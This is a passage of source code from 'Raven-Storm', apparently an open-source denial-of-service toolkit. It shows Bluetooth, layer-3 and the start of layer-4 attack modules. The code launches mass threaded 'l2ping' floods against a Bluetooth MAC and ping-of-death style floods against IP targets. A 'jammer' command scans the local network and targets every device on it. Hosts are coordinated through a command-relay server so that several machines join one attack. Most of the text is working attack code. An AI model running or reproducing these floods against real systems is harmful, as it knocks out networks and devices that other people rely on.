| geteuid_exists = True 20 | except ImportError: 21 | geteuid_exists = False 22 | 23 | event = event() 24 | tools = tools() 25 | 26 | 27 | class Main: 28 | def __init__(selfie, console): # noqa: N805 29 | global self 30 | global var 31 | self = selfie 32 | var = console # noqa: VNE002 33 | 34 | self._add_commands() 35 | 36 | # Colors 37 | var.C_None = "\x1b[0;39m" 38 | var.C_Bold = "\x1b[1;39m" 39 | var.C_Green = "\x1b[32m" 40 | var.C_Violet = "\x1b[34m" 41 | var.C_Dark_Blue = "\x1b[35m" 42 | var.C_Red = "\x1b[31m" 43 | 44 | var.interface = "hci0" 45 | var.threads = 1000 46 | var.size = 600 47 | var.sleep = 0 48 | var.target = "" 49 | # var.interval = 0 50 | 51 | var.bl_debug = False 52 | 53 | def _add_commands(self): 54 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 55 | event.commands(self.show_values, ["values", "ls"]) 56 | event.command(self.help) 57 | 58 | event.commands(self.run_shell, ".") 59 | event.commands(self.debug, "$") 60 | 61 | event.help(["values", "ls"], "Show all options.") 62 | 63 | event.help("scan", "Scan for targets.") 64 | event.help("target", "Target a BL MAC adress.") 65 | event.help("threads", "Amount of threads to use.") 66 | event.help("size", "Size of the packets.") 67 | event.help("sleep", "Delay between threads.") 68 | # event.help("interval", "Delay between each packet send.") 69 | event.help("interface", "Set the interface you would like to use.") 70 | event.help("run", "Run the stress test.") 71 | 72 | def banner(self): 73 | system("clear || cls") 74 | 75 | if "/" not in popen("command -v hcitool").read() or "/" not in popen("command -v l2ping").read(): 76 | input("\n[i] Please install Bluez to continue.\n[Press Enter to continue]") 77 | system("clear || cls") 78 | var.stop() 79 | return 80 | 81 | if geteuid_exists: 82 | if geteuid() != 0: 83 | input("\n[i] Please run with sudo privileges.\n[Press Enter to continue]") 84 | system("clear || cls") 85 | var.stop() 86 | return 87 | 88 | print(("""C_B----------------------------------------------------------C_W 89 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 90 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 91 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 92 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 93 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 94 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 95 | DEFFINITIFLY POSSIBLE. 96 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 97 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 98 | self.help() 99 | 100 | def exit_console(self): 101 | print("Have a nice day.") 102 | quit() 103 | 104 | def run_shell(self, command): 105 | print("") 106 | system(tools.arg("Enter shell command: ", ". ", command)) 107 | print("") 108 | 109 | def debug(self, command): 110 | print("") 111 | eval(tools.arg("Enter debug command: ", "$ ", command)) 112 | print("") 113 | 114 | @event.command 115 | def clear(): 116 | system("clear || cls") 117 | 118 | @event.event 119 | def on_ready(): 120 | self.banner() 121 | 122 | @event.event 123 | def on_command_not_found(command): 124 | print("") 125 | print("The command you entered does not exist.") 126 | print("") 127 | 128 | def check_session(self): 129 | if var.session[1][0] and len(var.session[1][1]) >= 1: 130 | if len(var.session[1][1][0]) >= 1: 131 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 132 | var.session[1][1][0] = var.session[1][1][0][1:] 133 | else: 134 | var.session[1][1] = var.session[1][1][1:] 135 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 136 | var.session[1][1][0] = var.session[1][1][0][1:] 137 | var.run_command = run_following 138 | 139 | @event.event 140 | def on_input(): 141 | self.check_session() 142 | if var.server[0] and not var.server[1]: 143 | while True: 144 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 145 | if data != "500": 146 | var.server[4] = var.server[4] + 1 147 | var.run_command = [data, data] 148 | print(var.ps1 + "\r") 149 | break 150 | else: 151 | sleep(1) 152 | 153 | @event.event 154 | def on_interrupt(): 155 | print("") 156 | var.stop() 157 | 158 | @event.event 159 | def on_command(command): 160 | if var.session[0][0]: 161 | var.session[0][1].write(command + "\n") 162 | if var.server[0] and var.server[1]: 163 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 164 | if status != "200": 165 | print("") 166 | print("An error occured, while sending commands to the server.") 167 | print("") 168 | 169 | @event.command 170 | def debug(): 171 | var.bl_debug = True 172 | print("") 173 | print("Debugging mode enabled.") 174 | print("") 175 | 176 | def show_values(self): 177 | print("") 178 | print("Interface: %s" % var.interface) 179 | print("Threads: %s" % var.threads) 180 | print("Site of packets: %s" % var.size) 181 | print("Sleep between thread: %s" % var.sleep) 182 | print("Target: %s" % var.target) 183 | print("") 184 | 185 | def help(self): 186 | event.help_title("\x1b[1;39mBLE Help:\x1b[0;39m") 187 | tools.help("|-- ", " :: ", event) 188 | print("") 189 | 190 | @event.command 191 | def target(command): 192 | print("") 193 | var.target = tools.arg("MAC: ", "target ", command) 194 | if ":" not in var.target: 195 | print("This MAC is invalid.") 196 | print("") 197 | 198 | @event.command 199 | def interface(command): 200 | print("") 201 | var.interface = tools.arg("Interface: ", "interface ", command) 202 | print("") 203 | 204 | @event.command 205 | def size(command): 206 | print("") 207 | try: 208 | var.size = int(tools.arg("Size: ", "size ", command)) 209 | except Exception as e: 210 | print("There was an error while executing.", e) 211 | print("") 212 | 213 | @event.command 214 | def threads(command): 215 | print(" ") 216 | try: 217 | var.threads = int(tools.arg("Threads: ", "threads ", command)) 218 | except Exception as e: 219 | print("There was an error while executing.", e) 220 | print(" ") 221 | 222 | @event.command 223 | def sleep(command): 224 | print(" ") 225 | try: 226 | var.sleep = float(tools.arg("Delay between each thread: ", "sleep ", command)) 227 | except Exception as e: 228 | print("There was an error while executing.", e) 229 | print(" ") 230 | 231 | @event.command 232 | def scan(command): 233 | try: 234 | system("hcitool scan") 235 | except Exception as ex: 236 | var.command_log.append("ERROR: %s" % ex) 237 | print("ERROR: %s" % ex) 238 | 239 | # @event.command 240 | # def interval(command): 241 | # print(" ") 242 | # try: 243 | # var.interval = float(tools.arg("Delay between each packet: ", "interval ", command)) 244 | # except Exception as e: 245 | # print("There was an error while executing.", e) 246 | # print(" ") 247 | 248 | def ddos(self): 249 | system("sudo l2ping -i %s -s %s -f %s &" % (var.interface, var.size, var.target)) 250 | 251 | @event.command 252 | def run(): 253 | def execute(): 254 | print("") 255 | print("To stop the attack press: ENTER or CTRL + C") 256 | print("") 257 | 258 | var.ps1 = "" # Change due to threading bug. 259 | 260 | sleep(3) 261 | for thread in range(var.threads): 262 | try: 263 | t = Thread(target=self.ddos) 264 | t.start() 265 | sleep(var.sleep) 266 | except Exception: 267 | print("Could not start thread %s." % thread) 268 | 269 | def reset_attack(): 270 | print("Stopping threads...") 271 | system("sudo killall l2ping") 272 | if var.bl_debug: 273 | print("Saving debugging log...") 274 | output_to = path.join(getcwd(), "bl_debug_log.txt") 275 | 276 | write_method = "a" 277 | if path.isfile(output_to): 278 | write_method = "a" 279 | else: 280 | write_method = "w" 281 | 282 | output_file = open(output_to, write_method) 283 | if write_method == "a": 284 | output_file.write("------------- New Log -------------") 285 | output_file.write(str(name + "\n")) 286 | output_file.write(str(version + "\n")) 287 | output_file.write(str("\n".join(var.command_log))) 288 | output_file.close() 289 | print("Done.") 290 | quit() 291 | 292 | def check_stopped_execution(): 293 | while True: 294 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 295 | if data != "True": 296 | reset_attack() 297 | break 298 | else: 299 | sleep(1) 300 | try: 301 | if var.server[0] and var.server[0]: 302 | rec_t = Thread(target=check_stopped_execution) 303 | rec_t.start() 304 | input("\r") 305 | except KeyboardInterrupt: 306 | pass 307 | 308 | if var.server[0] and var.server[1]: 309 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 310 | if status != "200": 311 | print("An error occured, while sending data to the server.") 312 | 313 | reset_attack() 314 | 315 | if var.server[0] and not var.server[1]: 316 | while True: 317 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 318 | if data == "True": 319 | execute() 320 | break 321 | else: 322 | sleep(1) 323 | elif not tools.question("\nDo you agree to the terms of use?"): 324 | print("Agreement not accepted.") 325 | quit() 326 | else: 327 | if var.server[0] and var.server[1]: 328 | if tools.question("\nWould you like to use the host as part of the ddos?"): 329 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 330 | if status != "200": 331 | print("An error occured, while sending data to the server.") 332 | execute() 333 | else: 334 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 335 | if status != "200": 336 | print("An error occured, while sending data to the server.") 337 | try: 338 | print("[Press Enter to stop the attack.]") 339 | except KeyboardInterrupt: 340 | pass 341 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 342 | if status != "200": 343 | print("An error occured, while sending data to the server.") 344 | else: 345 | execute() 346 | 347 | 348 | def setup(console): 349 | console.ps1 = "BL> " 350 | console.add(Main(console), event) 351 | -------------------------------------------------------------------------------- /Raven-Storm/modules/l3/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | import socket 9 | from os import getcwd, name, path, system 10 | from sys import version 11 | from threading import Thread 12 | from time import sleep 13 | 14 | import requests 15 | from CLIF_Framework.framework import event, tools # noqa: I900 16 | 17 | try: 18 | from os import geteuid 19 | 20 | geteuid_exists = True 21 | except ImportError: 22 | geteuid_exists = False 23 | 24 | try: 25 | import nmap 26 | except Exception as e: 27 | print("Please install following module:", e) 28 | quit() 29 | 30 | event = event() 31 | tools = tools() 32 | 33 | 34 | class Main: 35 | def __init__(selfie, console): # noqa: N805 36 | global self 37 | global var 38 | self = selfie 39 | var = console # noqa: VNE002 40 | 41 | self._add_commands() 42 | 43 | # Colors 44 | var.C_None = "\x1b[0;39m" 45 | var.C_Bold = "\x1b[1;39m" 46 | var.C_Green = "\x1b[32m" 47 | var.C_Violet = "\x1b[34m" 48 | var.C_Dark_Blue = "\x1b[35m" 49 | var.C_Red = "\x1b[31m" 50 | 51 | var.nm = None 52 | var.nmapinstalled = False 53 | var.target = "" 54 | var.size = 65500 55 | var.threads = 30 56 | var.sleep = 0 57 | var.interval = 0 58 | var.auto_stop = 0 59 | 60 | var.l3_debug = False 61 | 62 | def _add_commands(self): 63 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 64 | event.commands(self.show_values, ["values", "ls"]) 65 | event.command(self.help) 66 | 67 | event.commands(self.run_shell, ".") 68 | event.commands(self.debug, "$") 69 | 70 | event.help(["values", "ls"], "Show all options.") 71 | 72 | event.help("target", "Set the target.") 73 | event.help("targets", "Set multiple targets.") 74 | event.help("size", "Set packet size.") 75 | event.help("threads", "Threads to use.") 76 | event.help("sleep", "Delay between threads.") 77 | event.help("interval", "Delay between each packet send.") 78 | event.help("auto stop", "Automatically stop attack after x seconds.") 79 | event.help("run", "Run the Ping of Death.") 80 | event.help("jammer", "Kill a whole wifi network, by targeting all.") 81 | 82 | def banner(self): 83 | system("clear || cls") 84 | print(("""C_B----------------------------------------------------------C_W 85 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 86 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 87 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 88 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 89 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 90 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 91 | DEFFINITIFLY POSSIBLE. 92 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 93 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 94 | self.help() 95 | if not geteuid_exists: 96 | print("") 97 | print("I am sorry, but this feature is currently not supported on stock Windows, try running it using wsl.") 98 | print("You will be redirected to the main menu.") 99 | print("") 100 | input("[Press Enter]") 101 | print("") 102 | var.stop() 103 | return 104 | 105 | def exit_console(self): 106 | print("Have a nice day.") 107 | quit() 108 | 109 | def run_shell(self, command): 110 | print("") 111 | system(tools.arg("Enter shell command: ", ". ", command)) 112 | print("") 113 | 114 | def debug(self, command): 115 | print("") 116 | eval(tools.arg("Enter debug command: ", "$ ", command)) 117 | print("") 118 | 119 | @event.command 120 | def clear(): 121 | system("clear || cls") 122 | 123 | @event.event 124 | def on_ready(): 125 | try: 126 | var.nm = nmap.PortScanner() 127 | var.nmapinstalled = True 128 | except Exception as e: 129 | system("clear || cls") 130 | print("Please install the nmap package.") 131 | print("Some functions will not work without it.") 132 | print(e) 133 | try: 134 | input("[Press enter to continue without nmap]") 135 | print("") 136 | except Exception: 137 | quit() 138 | 139 | try: 140 | if geteuid() != 0: 141 | print("It is adviced to run the l3 attack with sudo privileges") 142 | try: 143 | input("[Press enter to continue without sudo]") 144 | except Exception: 145 | quit() 146 | except Exception: 147 | pass 148 | 149 | self.banner() 150 | 151 | @event.event 152 | def on_command_not_found(command): 153 | print("") 154 | print("The command you entered does not exist.") 155 | print("") 156 | 157 | def check_session(self): 158 | if var.session[1][0] and len(var.session[1][1]) >= 1: 159 | if len(var.session[1][1][0]) >= 1: 160 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 161 | var.session[1][1][0] = var.session[1][1][0][1:] 162 | else: 163 | var.session[1][1] = var.session[1][1][1:] 164 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 165 | var.session[1][1][0] = var.session[1][1][0][1:] 166 | var.run_command = run_following 167 | 168 | @event.event 169 | def on_input(): 170 | self.check_session() 171 | if var.server[0] and not var.server[1]: 172 | while True: 173 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 174 | if data != "500": 175 | var.server[4] = var.server[4] + 1 176 | var.run_command = [data, data] 177 | print(var.ps1 + "\r") 178 | break 179 | else: 180 | sleep(1) 181 | 182 | @event.event 183 | def on_interrupt(): 184 | print("") 185 | var.stop() 186 | 187 | @event.event 188 | def on_command(command): 189 | if var.session[0][0]: 190 | var.session[0][1].write(command + "\n") 191 | if var.server[0] and var.server[1]: 192 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 193 | if status != "200": 194 | print("") 195 | print("An error occured, while sending commands to the server.") 196 | print("") 197 | 198 | @event.command 199 | def debug(): 200 | var.l3_debug = True 201 | print("") 202 | print("Debugging mode enabled.") 203 | print("") 204 | 205 | def show_values(self): 206 | print("") 207 | print("Targets: %s" % var.target) 208 | print("Packet Size: %s" % var.size) 209 | print("Threads: %s" % var.threads) 210 | print("Delay between threads: %s" % var.sleep) 211 | print("Delay between packets: %s" % var.interval) 212 | print("Time to auto stop: %s" % var.auto_stop) 213 | print("") 214 | 215 | def help(self): 216 | event.help_title("\x1b[1;39mPoD Help:\x1b[0;39m") 217 | tools.help("|-- ", " :: ", event) 218 | print("") 219 | 220 | @event.command 221 | def targets(command): 222 | print("") 223 | var.target = tools.arg("Targets (Seperated by ', '): ", "targets ", command).split(", ") 224 | for ip in var.target: 225 | if "." not in ip: 226 | print("This IP does not exist.") 227 | print("") 228 | 229 | @event.command 230 | def target(command): 231 | print("") 232 | var.target = tools.arg("Target: ", "target ", command) 233 | if "." not in var.target: 234 | print("This IP does not exist.") 235 | print("") 236 | 237 | @event.command 238 | def size(command): 239 | print(" ") 240 | try: 241 | sizezw = int(tools.arg("Size in kb: ", "size ", command)) 242 | if sizezw < 5: 243 | print("Size needs to be more than 4kb.") 244 | elif sizezw > 65500: 245 | print("Size needs to be less than 65500kb.") 246 | else: 247 | var.size = sizezw 248 | except Exception as e: 249 | print("There was an error while executing.", e) 250 | print(" ") 251 | 252 | @event.command 253 | def threads(command): 254 | print(" ") 255 | try: 256 | var.threads = int(tools.arg("Threads: ", "threads ", command)) 257 | except Exception as e: 258 | print("There was an error while executing.", e) 259 | print(" ") 260 | 261 | @event.command 262 | def sleep(command): 263 | print(" ") 264 | try: 265 | var.sleep = float(tools.arg("Delay between each thread: ", "sleep ", command)) 266 | except Exception as e: 267 | print("There was an error while executing.", e) 268 | print(" ") 269 | 270 | @event.command 271 | def interval(command): 272 | print(" ") 273 | try: 274 | var.interval = float(tools.arg("Delay between each packet: ", "interval ", command)) 275 | except Exception as e: 276 | print("There was an error while executing.", e) 277 | print(" ") 278 | 279 | @event.command 280 | def auto_stop(command): 281 | print(" ") 282 | try: 283 | var.auto_stop = int(tools.arg("Time until auto stop: ", "auto stop ", command)) 284 | except Exception as e: 285 | print("There was an error while executing.", e) 286 | print(" ") 287 | 288 | @event.command 289 | def jammer(): 290 | print(" ") 291 | try: 292 | gateways = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 293 | gateways.connect(("8.8.8.8", 80)) 294 | gateway = ".".join((gateways.getsockname()[0].split("."))[:len(gateways.getsockname()[0].split(".")) - 1]) 295 | localip = gateways.getsockname()[0] 296 | gateways.close() 297 | var.nm.scan(hosts=("%s.0/24" % gateway), arguments="-sP") 298 | lanscandev = [(x) for x in var.nm.all_hosts()] 299 | var.target = [] 300 | for lanscandevice in lanscandev: 301 | if lanscandevice != localip and lanscandevice != ("%s.1" % gateway): 302 | var.target.append(lanscandevice) 303 | print("All devices in Internet are now targeted.", var.target) 304 | except Exception as e: 305 | if not var.nmapinstalled: 306 | print("Please install nmap to continue.") 307 | else: 308 | print("There was an error while executing.", e) 309 | print(" ") 310 | 311 | def pod(self, size, target, threads, threadssleep, podinterval, podautodl): 312 | print(("Starting attack...\nC_B[Hit ENTER or CTRL + C to stop the attack]\nC_W").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 313 | targets = [] 314 | feat = "" 315 | if podinterval != 0: 316 | feat += ("-i %s " % podinterval) 317 | if podautodl != 0: 318 | feat += ("-w %s " % podautodl) 319 | if isinstance(target, list): 320 | targets = target 321 | else: 322 | targets = [target] 323 | del(target) 324 | if var.l3_debug: 325 | output_to_dev_null = "" 326 | else: 327 | output_to_dev_null = "> /dev/null " 328 | for target in targets: 329 | if geteuid() == 0: 330 | print(("Running thread C_BwithC_W sudo privileges.").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 331 | killcom = ('sudo ping -f -q -s %s %s %s %s& ' % (size, feat, target, output_to_dev_null)).replace(" ", " ") 332 | else: 333 | print(("Running thread C_BwithoutC_W sudo privileges.").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 334 | killcom = ("ping -q -s %s %s %s %s& " % (size, feat, target, output_to_dev_null)).replace(" ", " ") 335 | try: 336 | for i in range(int(threads)): 337 | system(killcom) 338 | sleep(float(threadssleep)) 339 | except KeyboardInterrupt: 340 | system("killall -SIGINT ping") 341 | print("Attack abort.") 342 | except Exception as pingerror: 343 | var.command_log.append("ERROR: %s" % pingerror) 344 | print("An error was caught while executing.", pingerror) 345 | system("killall -SIGINT ping") 346 | print("Attack abort.") 347 | try: 348 | input("") 349 | system("killall -SIGINT ping") 350 | print("Attack abort.") 351 | except Exception: 352 | system("killall -SIGINT ping") 353 | print("Attack abort.") 354 | print("Attack abort.") 355 | 356 | @event.command 357 | def run(): 358 | def execute(): 359 | self.pod(var.size, var.target, var.threads, var.sleep, var.interval, var.auto_stop) 360 | 361 | def reset_attack(): 362 | print("Stopping threads...") 363 | system("killall ping") 364 | if var.l3_debug: 365 | print("Saving debugging log...") 366 | output_to = path.join(getcwd(), "l3_debug_log.txt") 367 | 368 | write_method = "a" 369 | if path.isfile(output_to): 370 | write_method = "a" 371 | else: 372 | write_method = "w" 373 | 374 | output_file = open(output_to, write_method) 375 | if write_method == "a": 376 | output_file.write("------------- New Log -------------") 377 | output_file.write(str(name + "\n")) 378 | output_file.write(str(version + "\n")) 379 | output_file.write(str("\n".join(var.command_log))) 380 | output_file.close() 381 | print("Done.") 382 | quit() 383 | 384 | def check_stopped_execution(): 385 | while True: 386 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 387 | if data != "True": 388 | reset_attack() 389 | break 390 | else: 391 | sleep(1) 392 | try: 393 | if var.server[0] and var.server[0]: 394 | rec_t = Thread(target=check_stopped_execution) 395 | rec_t.start() 396 | input("\r") 397 | except KeyboardInterrupt: 398 | pass 399 | 400 | if var.server[0] and var.server[1]: 401 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 402 | if status != "200": 403 | print("An error occured, while sending data to the server.") 404 | 405 | reset_attack() 406 | 407 | if var.server[0] and not var.server[1]: 408 | while True: 409 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 410 | if data == "True": 411 | execute() 412 | break 413 | else: 414 | sleep(1) 415 | elif not tools.question("\nDo you agree to the terms of use?"): 416 | print("Agreement not accepted.") 417 | quit() 418 | else: 419 | if var.server[0] and var.server[1]: 420 | if tools.question("\nWould you like to use the host as part of the ddos?"): 421 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 422 | if status != "200": 423 | print("An error occured, while sending data to the server.") 424 | execute() 425 | else: 426 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 427 | if status != "200": 428 | print("An error occured, while sending data to the server.") 429 | try: 430 | print("[Press Enter to stop the attack.]") 431 | except KeyboardInterrupt: 432 | pass 433 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 434 | if status != "200": 435 | print("An error occured, while sending data to the server.") 436 | else: 437 | execute() 438 | 439 | 440 | def setup(console): 441 | console.ps1 = "L3> " 442 | console.add(Main(console), event) 443 | -------------------------------------------------------------------------------- /Raven-Storm/modules/l4/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | import socket 9 | from os import getcwd, name, path, system 10 | from random import choice 11 | from sys import version 12 | from threading import Thread 13 | from time import sleep, time 14 | 15 | import requests 16 | from CLIF_Framework.framework import event, tools # noqa: I900 17 | 18 | event = event() 19 | tools = tools() 20 | 21 | 22 | class Main: 23 | def __init__(selfie, console): # noqa: N805 24 | global self 25 | global var 26 | self = selfie 27 | var = console # noqa: VNE002 28 | 29 | self._add_commands() 30 | 31 | # Colors 32 | var.C_None = "\x1b[0;39m" 33 | var.C_Bold = "\x1b[1;39m" 34 | var.C_Green = "\x1b[32m" 35 | var.C_Violet = "\x1b[34m" 36 | var.C_Dark_Blue = "\x1b[35m" 37 | var.C_Red = "\x1b[31m" 38 | 39 | var.port = [80] # Port 80 protocol == TCP 40 | var.threads = 160 41 | var.ip = [""] 42 | var.socketmethod = "TCP" # / UDP 43 | var.sleep = 0 44 | var.outtxt = True 45 | var.outtxtmute = False 46 | var.message = "hey, it's me rs." 47 | var.messagezw = var.message 48 | var.rtxt = 1 49 | var.stress = False 50 | var.timeforstress = 1 51 | var.autostart = 0 52 | var.autostop = 0 53 | var.autostep = 0 54 | var.autostarttime = 0 # Will be used as a variable for autostop 55 | var.runactive = True 56 | var.get_url = "" 57 | 58 | var.l4_debug = False 59 | var.stoped_threads = 0 60 | 61 | var.user_agents = ["Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)", "Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; pl-pl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; nb-no) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5", "Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00", "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))", "Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00", "Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00", "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", "Mozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5", "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)", "Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)", "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01", "Mozilla/5.0 (iPhone; U; fr; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; zh-tw) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5"] 62 | 63 | def _add_commands(self): 64 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 65 | event.command(self.help) 66 | 67 | event.commands(self.run_shell, ".") 68 | event.commands(self.debug, "$") 69 | 70 | event.commands(self.show_values, ["values", "ls"]) 71 | 72 | event.help_comment("|\n|-- Main commands:") 73 | event.help("port", "Set the target's port.") 74 | event.help("threads", "Set the number of threads.") 75 | event.help("ip", "Set the target's IP.") 76 | event.help("web", "Target the ip of a domain.") 77 | event.help("method", "Change attack method between UPD, TCP.") 78 | event.help("sleep", "Set the time delay between each packet send.") 79 | event.help("outtxt", "Output each packets send status: enable/disable.") 80 | event.help("mute", "Do not output the connection reply.") 81 | event.help(["values", "ls"], "Show all selected options.") 82 | event.help("run", "Start the attack.") 83 | event.help_comment("|\n|-- Set Send-text:") 84 | event.help("message", "Set the packt's message.") 85 | event.help("repeat", "Repeat the target's message specific times.") 86 | event.help("mb", "Send specified amount of MB packtes to server.") 87 | event.help("get", "Define the GET Header.") 88 | event.help("agent", "Define a user agent instead of a random 